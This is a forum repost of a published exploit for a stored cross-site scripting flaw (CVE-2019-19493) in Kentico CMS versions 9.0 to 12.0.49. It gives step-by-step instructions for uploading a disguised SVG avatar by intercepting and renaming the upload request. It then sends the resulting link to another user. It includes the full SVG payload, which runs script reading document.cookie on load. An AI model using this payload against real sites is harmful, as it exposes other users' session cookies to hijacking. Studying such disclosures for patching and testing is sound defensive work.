Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Kentico CMS 9.0-12.0.49 - Persistent Cross Site Scripting


Recommended Posts

# Exploit Title: Kentico CMS 9.0-12.0.49 - Persistent Cross Site Scripting
# Exploit Author: Ataberk YAVUZER
# CVE: CVE-2019-19493
# Type: Webapps
# Vendor Homepage: https://www.kentico.com/
# Version: 9.0-12.0.49
# Date: 29-11-2019

#CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2019-19493


Persistent Cross Site Scripting vulnerability has been found on the
Admin/User Panel. Kentico before 12.0.50 allows file uploads in which the
Content-Type header is inconsistent with the file extension, leading to XSS.

# Steps to reproduce

   1. Log in to Kentico Admin Panel with your credentials.
   2. Browse to Profile Page.
   3. Click to "Browse" button on Avatar section.
   4. Select "avatar.svg" file which can be found on below.
   5. Intercept the request before clicking to save button.
   6. Change file name to "avatar.svg.png" and send the request. (MimeType
   needs to be "image/xml+svg")
   7. Kentico will generate an avatar link: "
   Send that link to another user.
   8. An alert with cookie values will pop up.

#Content of the avatar.svg:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...